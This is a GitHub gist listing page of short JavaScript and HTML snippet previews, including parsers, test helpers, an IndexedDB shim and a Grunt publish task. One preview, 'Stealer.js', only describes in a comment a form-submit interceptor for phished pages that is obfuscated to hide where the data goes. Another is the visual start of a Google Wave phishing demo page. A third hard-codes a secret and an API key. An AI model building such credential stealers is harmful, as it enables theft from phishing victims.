Skip to content

Instantly share code, notes, and snippets.

View axemclion's full-sized avatar

Parashuram N axemclion

View GitHub Profile
@axemclion
axemclion / DurationParser.js
Created October 5, 2009 12:56
Interval Parser - from "English" to "Seconds"
function parseInterval(interval){
var u = {};
u["minute"] = 1;
u["hour"] = 60 * u["minute"];
u["day"] = 24 * u["hour"];
u["week"] = 7 * u["day"];
u["month"] = 30 * u["day"];
u["quarter"] = 3 * u["month"];
u["year"] = 365 * u["day"];
@axemclion
axemclion / Stealer.js
Created October 20, 2009 07:35
Tackle Toolkit
/**
* This is the function that intercepts a form submit. This function is written into the target
* phished file. Have to obfuscate these so that people who analyze the source code of the page
* cant immediatly see where the information is going.
*/
@axemclion
axemclion / GMSimulator.js
Created October 22, 2009 14:22
Greasemonkey Emulator
/*
Copyright (c) 2007, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.net/yui/license.txt
@axemclion
axemclion / WavePhishedPage.html
Created February 10, 2010 10:33
Google Wave Phishing Demo
<html><head>
<style type="text/css"><!--
body,td,div,p,a,font,span {font-family: arial,sans-serif;}
body {margin-top:2}.c {width:4; height: 4}
html body { bgcolor: "#ffffff"; padding: 0; margin: 0; }
A:link {color:#0000cc; }
A:visited { color:#551a8b; }
A:active { color:#ff0000; }
@axemclion
axemclion / QueuedUnit.js
Created April 30, 2012 19:06
Wrapper code to queue and run Qunits tests one after another.
/**
* Ideally unit tests should be independent, but there are some cases where you really want those tests to be executed one after the other
* Here is some code that does exactly that - a wrapper on top of QUnit.
*
* Usage
* Instead of asyncTest, call queuedAsyncTest (same params)
* Instead of module(), call queuedModule
* After a test is over and the next test has to run, call nextTest()
*/
(function(window, console, undefined){
@axemclion
axemclion / IndexedDB.setVersionShim.js
Created May 11, 2012 00:29
Shim that converts Chrome's SetVersion to the standard IndexedDB onupgradeneeded events
////////////////////////////////////////////////////////////////////////////////////////////////////
var openReqShim = function(dbName, version){
var me = this;
var IDBRequest = function(){
this.onsuccess = this.onerror = this.onblocked = this.onupgradeneeded = null;
};
function copyReq(req){
req = req || dbOpenReq;
@axemclion
axemclion / filtereffects.js
Created July 14, 2012 06:38
Aviary - Filter Effects
var secret = "7e58cceaf";
var params = {
api_key: "c92a196a2",
app_version: "1.0",
backgroundcolor: "",
calltype: "render",
cellheight: 300,
cellwidth: 300,
cols: 1,
@axemclion
axemclion / jquery-indexeddb-test.html
Created September 17, 2012 04:08
IndexedDB Put - Test cases to check how put function works
<html>
<head>
<title>Sample title</title>
</head>
<body>
<h3><a href = "javascript:schema()">Create Schema - Run this first</a></h3>
<h3><a href = "javascript:list()">List data in DB</a></h3>
<h1>Test cases</h1>
<ul>
<li>
/* global module:false */
module.exports = function(grunt){
grunt.initConfig({
pkg: '<json:package.json>',
meta: {
banner: '/*! <%= pkg.name %> */'
},
server: {
base: '.',
port: 9999
@axemclion
axemclion / Gruntfile.js
Created March 4, 2013 05:22
A grunt task to publish npm packages from CI environments like travis
grunt.registerMultiTask('publish', 'Publish the latest version of this plugin', function() {
var done = this.async(),
me = this,
npm = require('npm');
npm.load({}, function(err) {
npm.registry.adduser(me.data.username, me.data.password, me.data.email, function(err) {
if (err) {
console.log(err);
done(false);
} else {